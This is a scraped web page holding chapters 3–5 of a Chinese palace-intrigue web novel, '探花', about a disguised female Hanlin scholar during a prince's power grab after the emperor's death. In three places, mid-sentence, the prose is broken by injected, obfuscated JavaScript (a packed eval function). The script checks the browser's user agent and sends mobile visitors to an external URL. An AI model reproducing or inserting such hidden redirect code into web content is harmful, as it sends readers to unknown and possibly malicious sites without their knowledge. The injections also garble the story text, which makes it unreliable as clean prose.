《探花》 3. 第 3 章 天边泛起了鱼肚白,时间渐趋于卯时。 宣治门外兵甲林立,外殿门前汉白玉地砖上的暗红血迹未干,隐隐散发着腥秽气,像是在无声示威。 持芴守候的诸臣僚脸色皆很难看。 “诸公。”内阁首辅兼太子太傅周济面向同僚,浑然不顾周围披坚执锐兵甲的冰冷目光,一揖到底,哽语恳求,“先皇待吾等不薄,老夫恳请诸公深铭肺腑,感念先皇的一二恩泽。” “阁老大人!” “切莫如此,切莫如此!” “折煞吾等啊!” 众官员急急围上前去,手忙脚乱将其扶起,蒙难的群臣抱在一处,哽咽痛哭。 陈今昭与鹿衡玉所站位置偏后,这等时候自也轮不上他俩上前,遂同周围大部分同僚一般,抬袖掩面拭泪。其间两人迅速对视上一眼,神色皆忧惧凝重。 周阁老言下之意,勿忘皇恩,莫要变节,皇朝神器不容窥伺,维持正统,竭尽所能辅佐太子于灵前登基。 可纵观如今形势,若兖王真能容太子御极,便不会任由先皇棺椁停在宫中至今未发丧。甚至还封锁皇宫有月余之久,期间宫里的消息传不出半分,此刻东宫情况如何尚未可知。 陈今昭余光瞥见,远处参将模样的将领正冷眼看向群臣这边,嘴角浮有莫名冷笑,让人看了不禁心中发凉。 卯正时刻,钟鼓声响起,宫门朝两侧徐徐开启。 百官整顿仪态,踏着钟鼓声进入宣治门,按序在殿前广场站立。文官位东面西,武官位西面东。 不多时,负责纠察的御史持册上台,开始唱名。 陈今昭隐没在群臣中,不动声色的以余光观测周遭。 宣治门内的兵甲之数比殿门外更盛,足多出一倍之余。无论兵将皆披坚执锐擐甲执兵,肉眼可见甲胄上喷溅的斑驳血迹,就仿佛是刚从战马上厮杀下来,其杀伐之气有如实质,让人甚至不敢多看。 强捺狂乱的心跳,她眸光随即扫过了正在关宫门的甲士。 宣治门厚重的两扇外门短暂开启后,又严丝合缝的缓缓阖死,几个甲士抬上红漆木闩,哐当声重重扣上。 竟关了宣治门!森严壁垒般将诸臣困于其内。 陈今昭与鹿衡玉简直要魂飞魄散了! “从六品翰林院修撰,沈砚——” “臣在。” 唱名声与清冽的应声先后响起,陈今昭方抖索的回神。 “正七品翰林院编修,陈今昭——” 听到唱名,她忙双手持玉芴颤巍朝上微抬,“臣在。” “正七品翰林院编修,鹿衡玉——” “臣……在。” 强抑的叩齿音让陈今昭忍不住朝旁侧隐晦瞄了眼,果不其然见到鹿衡玉如土般的面色。 两人短暂的无声对视,皆惊惶惊惧。 难道他们二人之前推断有误,此番要百死无生了? 半盏茶的时间过去,唱名毕。 御史将名册朝一侧黄门呈递过去,无声归列。 偌大的殿前广场安静下来。 过了卯时,该是天光渐亮了,但连日阴云密布,饶是有天光显露,也很快被乌云遮盖。 整个殿前广场是乌沉沉的压抑。 按往日惯例,唱名既毕接下来便是鞭响三声帝王出行,随后众臣工齐叩万岁,圣上则按部就班勉励几句以示恩泽。再之后便是圣上入内殿,四品官以上随之入殿朝议政事,剩余官员则各去衙署,按上峰指派公务办公做事。 但如今帝王已薨,太子不出,文武百官群龙无首,此刻除了原地寂候,无去无从。 好在未让群臣久等,跸道前那检阅完名册的黄门就高声唱道: “宣,四品官以上大臣入殿参与朝议——” “其余官员前往各自衙署履职,不得延误——” 出人意料,程序一如往常。不得不说,黄门尖细高亢的声音一落,殿前广场上半数朝臣紧绷的神色肉眼可见的松缓下来,不少人抬袖擦擦额上的冷汗,大有死里逃生之感。 可即将入殿朝议的高官们却依旧脸色阴霾重重。 他们下意识将目光投向队首的首辅大臣周济,周首辅仰首望向高台尽头的宣治殿,而后展袖一振,持芴抬腿拾级而上。 其余官员便也紧随其后。 待那些高官们皆沿跸道上了台阶,余下的官员方散了长队,三三两两的结伴朝各自衙署而去。 翰林院官署与六部衙门不在同一方位,所以通往翰林院官署方向的官员相对就少很多。环目四顾,陈今昭很轻易就能估算出翰林院的官员缺席了多少人。 林林总总加起来,约莫十数号人。若要再细算,那大抵是翰林院学士少了五人,翰林院侍读学士少了三人,翰林院侍讲学士少了三人,翰林院编修少了两人,翰林院检讨少了一人,庶吉士少了两人。 不消说,缺席的这些官员,只怕是凶多吉少。 虽说翰林院官员有几十数人之众,可身边一下子消失了这么多熟面孔,还是挺让人心头震悚的。翰林院尚且如此,其他衙署只怕也好不到哪里去,尤其是兵部、户部、刑部,权利重、油水足向来被官员们挣破头的这三部,只怕情况更为惨烈。 进了衙署,陈今昭与鹿衡玉默不作声领了公务回各自位子做事。于他们这些编修而言,往日里最重要的工作莫过于撰写诏令。当然这样美差也不是每个编修都能有幸接手的,能够能撰写诏令的,通常是才华横溢或受掌院学士看重的佼佼者,如她和鹿衡玉这样平庸的边缘人物不在其列。 他们二人平日做的多是校勘典籍或整理文档等琐事。 今日亦如是。 陈今昭翻开典籍一丝不苟的做着校勘工作,从未有哪刻觉得这份枯燥的工作竟也能来的这般亲切。置身在熟悉的衙署里,坐在熟悉的位子上,做着手里熟悉的工作,饶是外头局势尚未完全明朗,可到底心里踏实了不少。 尤其是对比此刻在那宣治殿里、不知正在直面何等腥风血雨的名公钜卿们,她此刻的这份安定更显弥足珍贵。 小人物有小人物的憋屈,可小人物也有小人物的安宁。 而此时,宣治殿的气氛剑拔弩张。 以周首辅为首的众臣立在殿中,与对面兖王帐下的骄兵悍将们怒目对峙。 周首辅脸色铁青,从来威严恢弘的议事正殿,何时成了这些低贱蛮子兵卒能踏足的地方,简直是礼崩乐坏!更令人发指的是,这些兵将竟敢剑履上殿,简直是不遵教化,枉顾祖宗法度! 那位果真是蛮夷之地待久了,行事做派也开始没了章程。 “兖王殿下既宣我等臣工入朝,何故避而不见?” 环视一周未见兖王身影,周首辅沉着脸大声发问。 话音刚落,就见一中年儒生拨开那些骄兵悍将缓步过来,笑容温和的拱手作揖:“老大人此言差矣,主公既宣召诸位大人们过来,又岂有故意避而不见的道理?实乃主公临时有急事耽搁,着实抽不开身,情非得已,还望诸位大人海涵。” 一声主公,听得这些皇都旧臣的心拔凉。 都已到了皇城地界,其帐下的人竟还以主公唤之,且当着衮衮诸公的面竟也毫不避讳!何用意?不承认其王爷的身份?那,想要承认何种身份?! 这种问题,容不得人细思。 周首辅虽老迈,可眸子却深邃锐利。 他在那中年儒生的身上打量两番,文人书生打扮,下颌蓄有胡须,气质温和沉稳。听闻兖王帐下有一常坐镇军中的幕僚,复姓公孙单名一桓字,深得兖王信任,想来大抵就是此人了。 “敢问这位公孙先生,兖王殿下今日是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238645|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还会拨冗前来?若殿下不至,那吾等臣工可否先行告退?朝政荒废数月,纲纪废弛,吾等也好回各自衙门,处理堆积政务恢复民生社稷。” 被叫破身份的中年儒生并不意外,他温和笑笑,耐心解释:“诸公稍安勿躁,知晓各位大人忧国忧民,只是民生社稷的恢复非一时之功,而眼下却有更重要的事情亟待诸位大臣拿个章程。”敛了面上笑容,他肃穆拱手,“大行皇帝的丧仪。” 周首辅等人呼吸猛然一滞,接着面色几番变化。 与大行皇帝的丧仪并行的,就是储君登基事宜。 给大行皇帝发丧、让储君灵前继位继而主持发丧事宜,这本就是他们想要呈本上奏的,可今日朝议上太子储君未至,那打着勤王救驾旗号的兖王殿下亦未至,他们遂只能按下不表。 本想待告退后直奔东宫寻太子,哪曾想这档口兖王帐下的人竟贸然出口提了! 非他们这些做臣子的不想给昔日的主子早些发丧,他们又何尝愿意看见大行皇帝停灵数月烂臭在宫里?可一国之君发丧是何等举国庄重之大事,此时却经由个区区幕僚之口轻易提及,何等轻率! 周首辅一拂袖:“国之重事,当由太子殿下来主持。” 公孙桓不恼,依旧好脾气的拱手:“太子殿下突发恶疾,卧榻不起,恐难以主持国之重事……” “住口!安敢出此恶言!!” 这回是周首辅大怒。 此言一出,何止是周首辅,其他臣僚无不惊怒满面,有急怒的竟伸手去抓公孙桓的衣领,“太子殿下春秋鼎盛,何来恶疾!枉你为一介读书人,拜孔圣人座下,竟连礼义廉耻都不知,信口开河敢诅咒千岁殿下!可恨,可恨!!” 公孙桓寸步未动,旁边伸出一蒲扇般的大掌,一巴掌将那急怒的臣子扇了半米远。 西北本就民风彪悍,此刻出现在殿里的骄兵悍将们,更是个中佼佼者,无不身强力壮武艺精悍,身负赫赫战功。 刚那蒲扇般的一巴掌,足矣让养在京中富贵地的娇老爷半晌缓不过神。 似有冷嘲的嗤声从骄兵悍将里传出,公孙桓淡淡扫过一眼,刹那止声。 “老大人及诸位大人息怒,在下亦是读书人,安敢信口妄语,诅咒千岁殿下?千岁仁孝,早在月余前就因哀毁过度而大伤了贵体,撑到如今已然是极限了。正因如此,主公方竭力封锁了宫廷,唯恐消息外传引发更大的动乱。” 公孙桓叹了声,“今个主公诏令诸公前来,除了欲与诸位商议大行皇帝丧仪之事外,本也还想着让大人们就千岁这事拿个章程。可怎料到,今儿早上千岁身体突然就急转直下,眼见就……为防万一,主公不敢离开东宫半步,亲自在旁侍疾,遂没能赶来宣治殿议政。” 殿里足有大半刻钟的沉寂。 公孙桓亦没打破这样的沉寂,任由对面的皇都旧臣们消化着这样的惊天噩耗,也任由周首辅那双猩红老迈的眸子死死钉在他脸上,似是要将他剥皮割肉。 许久,周首辅沧桑的声音响起:“既然千岁贵体有恙,那吾等臣子便不可坐视不理,当前往东宫,跪在殿前为太子殿下祈福祈寿。” 这话自然是对着众臣工说的,殿里的这些大臣们无有不应。 很快,周首辅就带着诸位大臣们,朝着殿门的方向走去。 “诸位大人,主公有诏令,大行皇帝的发丧事宜商议出章程以前,任何人不得离开宣治殿半步。” 温和的声音自身后响起,周首辅充耳不闻,脚步都未顿分毫。 公孙桓望着他们背影,没再出言半字。 耀眼的闪电划破天际,酝酿了一宿的暴雨倾盆而下。 与此同时,一道苍老悲怆的哭声自宣治殿传来—— “成致啊,你为国尽忠了——” 悲哭声飘在雷雨交加的紫禁城上空,经久不散。 4.第 4 章 话分两头,宣治殿内腥风血雨,翰林院里却是望雨兴叹。 此刻到了下值时分,但雨依旧未停,那仿佛从天际倾泻而下的水幕,将翰林院众官员拦在了值房前。 今日来上值时大家都心内惶惶,所以谁又会考虑到带伞这种小事?所以饶是此刻众人归心似箭,却也只能止步望雨兴叹。 好在没等太久,掌院学士就从相熟的黄门那弄来了一批旧伞,数量虽不多,可两三人撑一把也堪堪够用。 陈今昭与鹿衡玉分到一把,当即就欢天喜地的撑着伞相携离去。宫中一日音信全无,不知家里人如何担心,快些归家也好安他们的心。 一路冒雨顶风,两人终于靠着一顶小破伞出了宫门。 找到各自的车马,简单约好明早集合地点,再来不及说旁的就各自湿漉漉的钻进自家的车厢里打道回府。实在是这一整日的劳心劳力,他们是又累又饿,又冷又乏,只想赶紧归家吃口热饭泡个热汤,再美美的钻进暖和被窝睡个好觉,哪里还提得起精力再想其他? 至于其他,明日再说。 骡车进了永宁胡同,陈家人踮脚站在檐下张望的身影,就远远的透过雨幕映入人的眼帘。 长庚驾的骡车都明显欢快了许多。 未等骡车完全停靠门口,陈家人早就急急围了过来,待见囫囵完好的陈今昭弯腰掀帘下了车,一家子人都喜极而泣。 “回来就好,回来就好。”陈母撑伞拉着她往府里快走,自责道:“怪我,一大早也不知瞎忙个什么,竟忘了收拾把伞给你带上。快进屋换身干净衣裳,喝口姜汤出出寒,暖和暖和身子。” 稚鱼小跑跟在身后,打在伞面如鼓点的雨声都挡不住她雀跃的叽喳声:“哥,今个姜汤是我熬的哟,亲手熬制的呢!娘还瞧不起人,说我只会添乱还让我到一边待着去,我偏不!等会你要好好尝尝滋味,是不是比娘做的也差不得什么。” 陈今昭夸道:“是嘛,那稚鱼真的是太厉害了!一会我一定好好尝尝稚鱼的手艺。” 后头的小呈安也不甘示弱的大声说:“爹爹,我今日也帮忙了!我往灶里添柴火了哟!” 陈今昭也赶紧夸:“小呈安也好厉害,果然是有担当的大男子汉了。” 小呈安在他娘怀里挺起了小胸脯。 进屋后先跨过火盆以祛除晦气,随后被陈母用菖蒲拍扫全身,进一步驱邪除晦,仪式完成后,陈今昭前往里屋换了身干爽的衣服。 刚出了屋子,就见稚鱼表功般端着满荡一海碗姜汤出来,自骄自矜道:“哥,趁热喝。” 陈今昭直接干了半碗,几乎瞬间一股热辣气直冲天灵盖。 “哥,怎样?” “嗯……味道醇厚。” 稚鱼笑逐颜开,陈母斜过去一眼:“用了小竹篓里半拉子姜进去,这样要是滋味不浓,那可就奇了怪了。” 稚鱼跺脚:“娘!熬姜汤就是要这样!” 陈母懒得跟她掰扯,找出干毛巾,忙着给陈今昭擦着散开的湿漉漉的头发。 陈今昭拉过噘着嘴的稚鱼自又是好一顿夸,夸汤的滋味好,夸汤的驱寒效果好,夸她的心灵手巧,夸她的用心用意。末了,还信誓旦旦的保证,下回还要喝对方熬的姜汤。 陈母瞧着稚鱼笑的嘴巴都要咧到耳后根了,不由摇头失笑。 晚膳虽不及早膳的丰富,可较之从前也高出了几个层次。 陈母还颇为奢侈的多拿出了两根烛台点上,不大的厅堂被微弱的烛光充盈的满室生辉。 外头雷雨交加,屋内烛火温馨。 围坐在饭桌前,一家人其乐融融的用着饭,稚鱼难得见她哥胃口好,忍不住夹了好几筷子荤菜到陈今昭碗里。 今日实在是累饿的狠了,晚膳陈今昭就吃得多些,直到一整碗饭下肚,方似想起什么般下意识摸了摸脸颊。 陈母忙道:“一顿两顿不碍事,这两日你公务肯定繁重,不妨多用些饭,也省得身子骨熬不住。” 旁边的稚鱼不明所以,担忧的问:“是哥的身子不好吗?” 陈今昭回了神,就笑道:“没多大事,主要是哥怕用多了饭不克化。” 稚鱼这才放了心,想着家中还有些干山楂片,待用完膳就给她哥冲泡一些。 陈今昭搁了筷,饶是肚中还想再添半碗饭,却还是克制住了。 她这骨相本就非线条凌厉清晰的那挂,面颊消瘦些还能勉强说是雌雄莫辨之相,但凡稍稍长些肉就会立马柔和了她面部线条,女态尽显。 陈今昭深知在这样尊卑等级分明的朝代,一旦她的身份暴露会导致何等严重后果,所以这些年来她将能做的做到极致,力求遮掩得天衣无缝,不漏半分端倪。 往日她都是堪堪用半碗饭就停筷,今夜用了一整碗饭已经是出格了。 用完了晚膳,一家人围坐一起说了会话。 陈母提及了官府今日的动作,“晌午出了告示,让每家每户出壮丁去修城墙、修破损的几条街道,官府管一顿饱饭。还让各家本月内去府衙重新办理户籍登记造册,滞留京中的外乡人也要重新去办理路引,过了规定期限就要按流民的身份来拘押遣返。” 说到这,陈母语气都轻松了许多:“这般瞧着,京中的秩序快要恢复了。” 陈今昭点头,应该是户部的同僚开始运作了。 京都经此大劫,不说十室九空,却也能空了二三。 如今能开始恢复民生社稷,无论对官员还是百姓来说,都是好事。 现在就只待平稳度过皇权的新旧交替了。 围坐着又说了会话,眼见到了时辰,就各自散去回屋歇息。 一夜好眠。 翌日,陈今昭精神饱满的踏上了骡车。 依旧是昨日的街道旁,鹿府的马车停靠着,车厢里的人正掀帘子不住张望。一见到陈府的破骡车,不消说,里头人当即跳下马车,拔腿狂奔过来。 鹿衡玉风风火火,这回竟来不及与长庚招呼两句,一骨碌钻紧骡车的车厢里,开口就是重磅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243559|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸弹—— “昨日出了大事,宣治殿里当场没了好几个!包括周首辅的得意门生,礼部于侍郎!”鹿衡玉狠狠搓把脸,低语而快速,“首辅老大人浑身是血的被人抬出了殿,好多大臣都是哭着跟去了周府。大事不妙啊!” 陈今昭听得头都要炸了。 这大清早的,这简直是晴天霹雳! 周老大人门生故吏遍布朝野,威望甚高,说是国朝的‘擎天白玉柱、架海紫金梁’也不为过。若兖王当真对老大人下毒手,那皇都旧臣怕就要与兖王一方不死不休了! “老大人现今情况如何?可有探到?” “我派了人过去探查了,至今早为止,周府尚未挂白。” 陈今昭猛喘一口,未挂白,那就意味着此刻他人尚在。 鹿衡玉缩在木板开了裂缝的破败车厢内角,一张比女子还秾艳的脸庞,被壁灯斑驳的光影晃的如鬼一样。他看着陈今昭,在对方极为不妙的预感下,僵硬迟滞的扯出个比哭还难看的笑,“皇太子殿下,不大好了。” 陈今昭未喘完的那口气就那么梗在喉里。 鹿衡玉像宣泄内心恐惧一般,机械而快速的说,完全不给人消化反应时间—— “宫里传出消息,太子殿下哀毁过度,已经药石罔医,可能就这两日了。这是兖王帐下幕僚公孙桓亲口所说,铁板钉钉的事实,且未曾采取封锁消息的任何举措,想来是有意宣扬出来。” “钦天监已经开始测算黄道吉日,据说大行皇帝与太子殿下的丧仪要前后脚来办。” “后宫的消息暂且探不到分毫,诸位娘娘以及其他的殿下是何情况谁也不知。” “朝臣们已经疯了,夜里暴雨初歇之时,京城上空飞起大量的信鸽,可转瞬就被四面八方飞来的箭雨给射杀个一干二净!后半夜,携带密信的家丁们飞蛾扑火般的往城外闯,一批又一批的往外闯,也是一批又一批的倒在城墙下。” “至于昨夜那些高官重臣们,全都滞留在老大人府里,不知具体是何章程。不过……刚在街边等候你来时,恰瞧见了一队兵马正杀气腾腾的往周府所在的西街方位疾驰赶去!” 这些堪称噩耗的信息铺天盖地的砸来,颇有种不顾人死活的意味,直砸得陈今昭两目发直,整个人近乎要裂开了。 鹿衡玉带些怜悯的看着她,他刚得知消息时也是这般天塌了的模样。 本以为经过昨日,便算是过了那生死关,哪成想那只是第一关。 这忽起忽落的心脏啊,哪受得了这般来回的颠簸。 上头大人们的胜负一日悬而未决,他们这些底层小卒就要有一日的担惊受怕。 破旧的骡车吱呀作响,带着他们二人奔向未知的前路。 接下来的一路上,两人都相顾无言。 其实也无需再多言什么,此刻已经到了最后一役的前夕、离黎明最近却又最黑暗的时刻,他们做什么说什么都是徒劳。 于局势无关痛痒的小卒们,能不能见到黎明,那得看命。 5.第 5 章 晚春的凌晨,在朝臣们奔向未知命运之际,东宫里的太子也走到了弥留之时。 公孙桓从东宫出来,就疾步赶往昭阳宫。 昔年的宠妃宫殿,如今已破败斑驳。高耸的宫墙被藤蔓蔓延,曾经恢弘的宫殿大门也朱漆剥落,檐下挂着的两盏琉璃灯也破碎的摇晃在凄风苦雨里,无声诉说着今夕的凄凉。 宫门两侧护卫见他过来,恭敬地一抱拳。 公孙桓颔首,在等候通报的时候,就立在檐下静候着。 没过多时,有内侍提了宫灯从虚掩的宫门后面出来,躬身引他入内。 宫殿内更加荒芜,四处都是残破的雕梁画栋,以及散落的琉璃碎瓦。绕过壁画已褪色剥落的影壁,公孙桓踩着杂草与碎瓦,一路低眼不敢四处多看,亦步亦趋随着那内侍往正殿方向走去。 至了殿前,内侍示意他止步,而后就躬身无声退了下去。 两扇殿门半掩,有纸钱焦糊之气从里面渗出。殿内并未点灯,廊下两盏奠字白灯笼将惨淡光影投在腐朽帷幔间,朦胧中可见殿内一个披麻戴孝的模糊背影,正跪在灵案前焚烧冥纸。 公孙桓屈膝跪地,低声禀报昨夜至今东宫与西街周府的变故,事无巨细,陈述详尽。 若周府里的人在此,必会大惊失色,因为他们自以为隐秘的行事,此刻却被人剖露无遗!他们这些周府诸人就宛如那戏台木偶,一言一行、一举一动,皆在他人目视之下。 乌云遮天,外头又开始淅淅沥沥下起了雨。 公孙桓撑伞出昭阳宫时,恰见一群内侍端着祭祀用物鱼贯而入。余光在那些成堆的黄纸、元宝、以及车马、纸扎人上一扫而过,而后他迅速移开目光,只当没注意到那些个造型、服饰、面孔都似曾相识的纸扎人。 宣治门殿前广场,众官员在冷雨中打着寒颤,神情萎靡而惴恐。 今日的早朝没有纠察御史持册唱名,也没有黄门来检阅名册。广场前方的位置空了一大片,缺席未至的,赫然就是昨日进殿朝议的四品以上朝臣。而这些低品阶小官之中,也缺席了十数人之众。 经过一夜的发酵,饶是消息迟滞的,也知了昨夜的惊天变故。惶惶四顾,诸多同僚们迟迟未至,再结合昨夜京中的诸多乱相,他们脑中焉能不胡猜乱想,进而胆颤心惊? 陈今昭与鹿衡玉各自在雨中瑟瑟发抖。 不同于半宿心神不宁,以致空手来的鹿衡玉,她今早出门时可是特意带了把油纸伞的。 可奈何她的上官没带啊! 于是她的这把伞注定了撑不到自个的头顶。 献了伞后,陈今昭遂也加入了顶风冒雨的群体里。 好在没等雨势渐大,宣治门那就传来了动静。众人抬目急望过去,就见到久未至的那些朝臣们正从宣治门处陆续而入,虽前后左右皆有披甲持戈的兵士相随似有押赴之意,但这些朝臣们精神尚可应是并未受到磋磨。他们面上神色或愤懑或激昂再或是从容平静,挺胸拂袖大步朝广场方向而来。 在见到这些朝臣的那刹,广场上的众人宛如有了主心骨,内心都安定了不少。尤其是看到国朝的擎天玉柱周首辅的身影亦出现在宣治门时,担惊受怕了一大早的众人顿时都忍不住要热泪盈眶了。 周首辅是由着左右官员搀扶着过来,殿前文武百官默默朝两侧让出路来,让其从百官之中缓慢穿行而过。 在周首辅打跟前经过时,陈今昭都忍不住摒了呼吸,如其他官员一般,濡慕而敬仰的抬眸看向他。除了鹿鸣宴那回,她这是头一回如此近距离的看着朝中的这位擎天玉柱。 “请老大人万万保重。” 恰在此时,一道清越的声音冷不丁从身侧窜出。正沉浸在万般思绪中的陈今昭就刷的回神,反射性的就朝右侧转了脸看去。果不其然,惊入眼帘的就是那长揖而拜的身影!此刻弯下腰的沈砚与旁边木头桩子般杵着的她、以及周围众官员们,形成了鲜明对比。那般鹤立鸡群的他,大抵是不会顾忌旁人死活,彻底将旁侧笔直呆站的她衬托成了呆头鹅。 显着他了,显着他了! 陈今昭只觉得好似有股怨气,直冲天灵盖。 尤其是见到周首辅径直路过她,却给了沈砚半个停顿一个颔首示意后,她更觉得自己此刻的面容大概都有些扭曲。 下意识朝左侧迅速望去,果然看见鹿衡玉那张比她还扭曲的脸。在讨厌沈砚这件事上,他们的立场完全一致!每每因此心态不稳时,她就会去看鹿衡玉,绝对能找到认同感。 待朝臣都归位后,纠察御史开始唱名,亦如昨日。 唱名毕,黄门接过名册,查验后却并未高唱着让朝臣入内殿朝议,反倒退至一旁。 很快,有人群从远处浩荡过来。 陈今昭与其他群臣循声望去,只见是一群披甲的彪悍军士,掌按腰刀,目光如炬的踏步而来。为首的是个是中年儒生,步履从容,气质谦逊温和,举手投足间尽显儒雅,与周围那些铁血悍将格格不入。 不消说,此人正是兖王心腹,公孙桓。 殿前原本些许的喧嚣瞬间沉寂,众臣尤其是昨日在宣治殿死里逃生的那些朝臣们,无不怒目切齿的死死盯着他。这个笑里藏刀的刽子手,昨日于宣治殿,一言不发连诛三人!诛他们名公钜卿,如屠牛羊! 公孙桓对这些仇视视若无睹,近前就是长揖一礼。 “桓给各位公卿见礼。” 周首辅由左右人扶着,勉强而立。他直接无视了公孙桓,环顾一周,断然发问:“姬寅礼呢,让他出来与老夫对峙!” “放肆!!”这齐声怒喝来自周围的悍将们。他们怒发冲冠,按住腰刀虎目怒睁,几欲扑上来噬人。 有悍将霍得拔刀出鞘,当即就要上前,却被公孙桓拦下。 “周大人慎言!尊者名讳,不可轻言,君为百官之首,岂不识周礼乎?”公孙桓脸色不好看,“老大人于主公若有成见,不妨直言,毋使百官误视主公如洪水猛兽也。” 好个巧舌如簧的狂生!此刻倒成了他周济是非不明了! 周首辅终于看向了对方,枯瘦手指直指兖王党羽:“老夫行端坐正,从勿以成见视人!老夫今日在此,就欲问他兖王、他姬寅礼!禁贤良可属实?囚太子可属实?亵渎朝纲可属实?马踏西街屠公卿可又属实!” 一个虎头燕额的粗莽悍将猛然出列,甲胄铿然作响:“末将倒要反问诸公!主公临危受命可属实?奉诏讨贼可属实?月余荡平八王可属实?除余孽乱党、还京都太平可又属实!”声如洪钟震寰宇,老首辅踉跄退步。 那虎将猛又跨出两步,声色俱厉:“主公甫接诏令,即整三军,马不停蹄,率众将士火速入京勤王!一路跋山涉水,不辞辛劳,马不解鞍,人不解甲,行军两月。三军甫入京,未及休整,即杀向乱党,为勤王保驾!主公身先士卒,与将士奋勇杀敌,置生死于度外!京中乱时,诸公盼主公速来;京中平定,诸公视主公为国贼奸佞。可笑,可恨!” 这番讥讽令文官集团面色铁青,周首辅甩袖叱道:“莽夫安知大义!” 虎将大笑一声:“说的是,吾等粗鄙莽夫,不通孔圣之言,不配与贵人老爷们论道。但正因吾等莽夫浴血奋战,方保得京中老爷们的富贵太平!” 公孙桓适时叹声:“主公惟愿效武穆之忠,怎奈诸公万般相疑。” 周首辅枯瘦手指直指殿前玉阶,颤声驳道:“兖王入京戡乱固有其功,然其行径较之八王尤烈!马踏西街三日不绝,太庙阶前血痕未干,这般作派,岂非昭示其觊觎神器之心?” “诛者皆当诛,死者皆犯吾主大不敬。桓以为,诸公当对此心知肚明方是!” 公孙桓的直言无讳让整个宣治门殿前鸦雀无声,唯闻周首辅牙关相击的咯咯声。 环视一周,公孙桓忽敛衽长揖,“周公惧流言之日,王莽谦恭未篡之时。若主公真有异志,那只管坐视京中乱相,又何须奉诏入京?烦请诸公扪心自问,若无吾主,京城十室要空几室?若无吾主,尔等王公贵胄今安在!” 这番诘问如重锤击鼎,震得诸公面无血色。 周首辅踉跄扶住左右官员,忽见公孙桓捧出个沾血木匣—— 那,那分明是月前他们密呈淮南湘王的乞援书! 公孙桓在对方震惊失魂的神色中,将乞援书连沾血木匣一并送还到对方手里。 “老大人收好,万莫再弄丢了去。”公孙桓温言嘱咐,转望向满朝朱紫,捋须慢叹,“主公还让桓带句话——若诸公欲搏青史美名,倒也不妨待政通人和百姓安居乐业、四夷宾服万国使臣朝拜之后。” 不消环视四顾,周首辅都能似能看到周围臣僚涨红的脸色。 他怔望着怀里的沾血木匣,以及袖中暗藏的、满朝公卿按了血手印的绝命书,忽觉满朝忠烈气,此时此刻无不可笑。 “主公怀大义,惟愿为贤臣良将,保国朝长治久安,国祚绵延。桓今日直言,满朝诸公,皆错看了吾主!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246561|166202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>公孙桓最后一句话落下,周首辅身体猛然僵硬,双目圆睁,随后吐血朝后仰倒下。 “啊!老大人!” 众人惊作一团,纷纷上前搀扶。 “速扶老大人去偏殿,立即请太医过来!”公孙桓有条不紊的指挥,随后转身面对诸臣,又拱手正色道,“皇朝祖训,先皇新丧,储君当于灵前登基,继而主持丧仪,稳定朝纲。国事当前,不容耽搁,望诸公以国事为重,当速选贤君,即日于灵前继天立极!” 殿前众臣一时僵立,如鲠在喉,既无法吐露,又难以咽下;既不能斥责,又难以忍受。 倘若兖王公然谋逆,他们尚可站在正统立场上义正辞严地谴责。然而,他遵循伦理纲常行事,令人无言以对。 诸位朝臣一时语塞,茫然无措,仿佛失去了主心骨。 最后还是内阁大学士林同炳站出来道:“敢问兖……兖王殿下安在?储君之议,系乎国祚,此等要事,臣等不敢擅专,还烦请殿下亲临。” 公孙桓神色稍缓,说道:“天子千岁病重,主公言及天家骨肉之情,作为皇叔,自当送亲侄儿最后一程。来前主公特意交代,诸公皆为国朝栋梁,相信诸位必能遵循正统与伦理纲常,遴选出有德之贤君。” 林同炳似乎察觉,公孙桓在提及“正统”二字时,语气格外加重。 正当他准备指出太子尚在,此时遴选新君不合情理之际,一声悲凉的钟声从东宫沉沉传来。 这是丧钟声,昭告着东宫太子殿下,薨逝了! 顷刻间,殿前的文武百官纷纷朝向东宫所在方位,跪地匍匐,悲怆欲绝,哭声一片。 公孙桓亦向东宫方向跪了下来,那些披甲将士们则单膝跪地。 “殿下,太子殿下啊——” “太子殿下如斯仁厚,苍天何以不公?” “殿下匆匆而去,留吾等在世间如何自处?” “太子殿下于心何忍,要先弃老臣而去……” 周遭的悲哭声此起彼伏,陈今昭隐没众官员中,亦跪地伏身掩面痛哭,心下的悲痛是淡淡的有一些,但更多的是一种如释重负。 相信不止是她,在场诸公亦能看到,刚才的剑拔弩张之后,局势已初见明朗之迹象。 兖王既摆明车马做贤王,那阖朝官员最后那层遮羞布便可以继续勉强蒙着,事情便也就有谈的余地。 譬如此刻,朝臣们对太子薨逝的蹊跷闭口不言,这就是他们对兖王选择不篡位、让阖朝百官得以勉强护住那丝清名而予以的回应。 